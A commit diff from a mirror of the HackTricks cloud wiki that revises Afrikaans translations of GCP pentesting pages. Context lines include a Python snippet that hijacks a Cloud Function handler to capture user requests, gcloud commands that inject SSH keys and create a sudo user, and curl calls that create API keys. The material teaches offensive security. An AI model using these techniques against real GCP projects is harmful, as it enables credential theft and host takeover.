mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-03 16:27:34 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -1,13 +1,15 @@
|
||||
# GCP - Toestemmings vir 'n Pentest
|
||||
|
||||
As jy 'n GCP-omgewing wil pentest, moet jy vir genoeg toestemmings vra om **alle of die meeste van die dienste** wat in **GCP** gebruik word, te **kontroleer**. Ideaal gesproke moet jy die kliënt vra om te skep:
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
As jy 'n GCP-omgewing wil pentest, moet jy vir genoeg toelaatings vra om **alle of die meeste van die dienste** wat in **GCP** gebruik word, te **kontroleer**. Ideaal gesproke moet jy die kliënt vra om te skep:
|
||||
|
||||
* **Skep** 'n nuwe **projek**
|
||||
* **Skep** 'n **Diensrekening** binne daardie projek (kry **json-akkrediteer** ) of skep 'n **nuwe gebruiker**.
|
||||
* **Gee** die **Diensrekening** of die **gebruiker** die **rolle** wat later oor die ORGANISASIE genoem word
|
||||
* **Aktiveer** die **APIs** wat later in hierdie pos in die geskepte projek genoem word
|
||||
|
||||
**Stel van toestemmings** om die gereedskap wat later voorgestel word, te gebruik:
|
||||
**Stel van toelaatings** om die gereedskap wat later voorgestel word, te gebruik:
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
|
||||
roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,11 +19,11 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Steel Cloud Funksie Versoeke
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
As die Cloud Funksie sensitiewe inligting bestuur wat gebruikers stuur (bv. wagwoorde of tokens), kan jy met genoeg bevoegdhede die **bronkode van die funksie wysig en** hierdie inligting **uitvoer**.
|
||||
As die Cloud Function sensitiewe inligting bestuur wat gebruikers stuur (bv. wagwoorde of tokens), met genoeg regte kan jy **die bronne kode van die funksie wysig en hierdie inligting uitbring**.
|
||||
|
||||
Boonop gebruik Cloud Funksies wat in python loop **flask** om die webbediener bloot te stel. As jy op een of ander manier 'n kode-inspuitingskwesbaarheid binne die flaks-proses vind (soos 'n SSTI-kwesbaarheid), is dit moontlik om die **funksiehandler** te **oorskry** wat die HTTP-versoeke gaan ontvang vir 'n **kwaadwillige funksie** wat die **versoek kan uitvoer** voordat dit aan die regte handler oorgedra word.
|
||||
Boonop gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel, as jy op een of ander manier 'n kode-inspuitingskwesbaarheid binne die flaks-proses vind (soos 'n SSTI-kwesbaarheid), is dit moontlik om die **funksiehandler te oorskry** wat die HTTP-versoeke gaan ontvang vir 'n **kwaadaardige funksie** wat kan **die versoek uitbring** voordat dit aan die regte handler oorgedra word.
|
||||
|
||||
Byvoorbeeld, hierdie kode implementeer die aanval:
|
||||
```python
|
||||
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
@@ -122,4 +122,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,20 +1,18 @@
|
||||
# GCP - Voeg Aangepaste SSH Metadata By
|
||||
|
||||
## GCP - Voeg Aangepaste SSH Metadata By
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Wysig die metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
## Wysig die metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
|
||||
Metadata-wysig op 'n instansie kan lei tot **beduidende sekuriteitsrisiko's as 'n aanvaller die nodige toestemmings verkry**.
|
||||
Metadata-wijziging op 'n instansie kan lei tot **beduidende sekuriteitsrisiko's as 'n aanvaller die nodige toestemmings verkry**.
|
||||
|
||||
#### **Inkorporering van SSH Sleutels in Aangepaste Metadata**
|
||||
### **Inkorporering van SSH Sleutels in Aangepaste Metadata**
|
||||
|
||||
Op GCP, **Linux stelsels** voer dikwels skripte uit vanaf die [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). 'n Kritieke komponent hiervan is die [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), wat ontwerp is om **gereeld** die instansie metadata-eindpunt na te gaan vir **opdaterings van die geautoriseerde SSH publieke sleutels**.
|
||||
Op GCP, **Linux stelsels** voer dikwels skripte uit vanaf die [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). 'n Kritieke komponent hiervan is die [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), wat ontwerp is om **gereeld** die instansie metadata-eindpunt na te gaan vir **opdaterings aan die geautoriseerde SSH publieke sleutels**.
|
||||
|
||||
Daarom, as 'n aanvaller aangepaste metadata kan wysig, kan hy die daemon laat vind 'n nuwe publieke sleutel, wat verwerk sal word en **geïntegreer sal word in die plaaslike stelsel**. Die sleutel sal bygevoeg word in die `~/.ssh/authorized_keys` lêer van 'n **bestaande gebruiker of moontlik 'n nuwe gebruiker met `sudo` toestemmings skep**, afhangende van die sleutel se formaat. En die aanvaller sal in staat wees om die gasheer te kompromitteer.
|
||||
Daarom, as 'n aanvaller aangepaste metadata kan wysig, kan hy die daemon laat vind 'n nuwe publieke sleutel, wat verwerk en **geïntegreer sal word in die plaaslike stelsel**. Die sleutel sal bygevoeg word in die `~/.ssh/authorized_keys` lêer van 'n **bestaande gebruiker of moontlik 'n nuwe gebruiker met `sudo` regte skep**, afhangende van die sleutel se formaat. En die aanvaller sal in staat wees om die gasheer te kompromitteer.
|
||||
|
||||
#### **Voeg SSH sleutel by bestaande bevoorregte gebruiker**
|
||||
### **Voeg SSH sleutel by bestaande bevoorregte gebruiker**
|
||||
|
||||
1. **Ondersoek Bestaande SSH Sleutels op die Instansie:**
|
||||
|
||||
@@ -55,9 +53,9 @@ ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
|
||||
#### **Skep 'n nuwe bevoorregte gebruiker en voeg 'n SSH sleutel by**
|
||||
### **Skep 'n nuwe bevoorregte gebruiker en voeg 'n SSH sleutel by**
|
||||
|
||||
As daar geen interessante gebruiker gevind word nie, is dit moontlik om 'n nuwe een te skep wat `sudo` toestemmings gegee sal word:
|
||||
As daar geen interessante gebruiker gevind word nie, is dit moontlik om 'n nuwe een te skep wat `sudo` regte gegee sal word:
|
||||
```bash
|
||||
# define the new account username
|
||||
NEWUSER="definitelynotahacker"
|
||||
@@ -75,9 +73,9 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
|
||||
# ssh to the new account
|
||||
ssh -i ./key "$NEWUSER"@localhost
|
||||
```
|
||||
#### SSH sleutels op projekvlak <a href="#sshing-around" id="sshing-around"></a>
|
||||
### SSH sleutels op projekvlak <a href="#sshing-around" id="sshing-around"></a>
|
||||
|
||||
Dit is moontlik om die bereik van SSH-toegang na verskeie Virtuele Masjiene (VM's) in 'n wolkomgewing te verbreed deur **SSH sleutels op projekvlak toe te pas**. Hierdie benadering laat SSH-toegang toe tot enige instansie binne die projek wat nie eksplisiet projekwye SSH sleutels geblokkeer het nie. Hier is 'n samegevatte gids:
|
||||
Dit is moontlik om die bereik van SSH-toegang tot verskeie Virtuele Masjiene (VM's) in 'n wolkomgewing te verbreed deur **SSH sleutels op projekvlak toe te pas**. Hierdie benadering laat SSH-toegang toe tot enige instansie binne die projek wat nie eksplisiet projekwye SSH sleutels geblokkeer het nie. Hier is 'n samegevatte gids:
|
||||
|
||||
1. **Pas SSH Sleutels op die Projekvlak toe:**
|
||||
|
||||
@@ -88,7 +86,7 @@ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
2. **SSH in Instansies met Projekwye Sleutels:**
|
||||
- Met projekwye SSH sleutels in plek, kan jy SSH in enige instansie binne die projek. Instansies wat nie projekwye sleutels blokkeer nie, sal die SSH sleutel aanvaar, wat toegang verleen.
|
||||
- Met projekwye SSH sleutels in plek, kan jy SSH in enige instansie binne die projek. Instansies wat nie projekwye sleutels blokkeer nie, sal die SSH sleutel aanvaar en toegang verleen.
|
||||
- 'n Direkte metode om in 'n instansie te SSH is deur die `gcloud compute ssh [INSTANCE]` opdrag te gebruik. Hierdie opdrag gebruik jou huidige gebruikersnaam en die SSH sleutels wat op projekvlak gestel is om toegang te probeer verkry.
|
||||
|
||||
## Verwysings
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
Die volgende toestemmings is nuttig om API-sleutels te skep en te steel, let op dit uit die dokumentasie: _'n API-sleutel is 'n eenvoudige versleutelde string wat **'n toepassing identifiseer sonder enige prinsiep**. Hulle is nuttig om **publieke data anoniem** te bekom, en word gebruik om **te assosieer** API-versoeke met jou projek vir kwota en **faktuur**._
|
||||
Die volgende toestemmings is nuttig om API-sleutels te skep en te steel, let op dit uit die dokumentasie: _'n API-sleutel is 'n eenvoudige versleutelde string wat **'n toepassing identifiseer sonder enige prinsiep**. Hulle is nuttig om **publieke data anoniem** te bekom, en word gebruik om API-versoeke met jou projek te **assosieer** vir kwota en **faktuur**._
|
||||
|
||||
Daarom, met 'n API-sleutel kan jy daardie maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om voorregte te verhoog nie.
|
||||
Daarom kan jy met 'n API-sleutel daardie maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om bevoegdhede te verhoog nie.
|
||||
|
||||
Om ander toestemmings en maniere om API-sleutels te genereer te leer, kyk:
|
||||
|
||||
@@ -16,7 +16,7 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
'n Ondokumenteerde API is gevind wat gebruik kan word om **API-sleutels te skep:**
|
||||
'n Ongedokumenteerde API is gevind wat gebruik kan word om **API-sleutels te skep:**
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
@@ -30,24 +30,28 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
|
||||
|
||||
Met hierdie toestemmings kan 'n aanvaller nuwe dienste in die projek aktiveer en gebruik. Dit kan 'n **aanvaller toelaat om dienste soos admin of cloudidentity te aktiveer** om te probeer om toegang tot Workspace-inligting te verkry, of ander dienste om toegang tot interessante data te verkry.
|
||||
|
||||
## **Verwysings**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Ondersteun HackTricks en kry voordele!</strong></summary>
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Werk jy in 'n **kubersekuriteitsmaatskappy**? Wil jy jou **maatskappy in HackTricks adverteer**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Werk jy in 'n **cybersecurity company**? Wil jy jou **company in HackTricks adverteer**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
Kry die [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Deel jou hacking truuks deur PRs in te dien na die** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Dienste
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user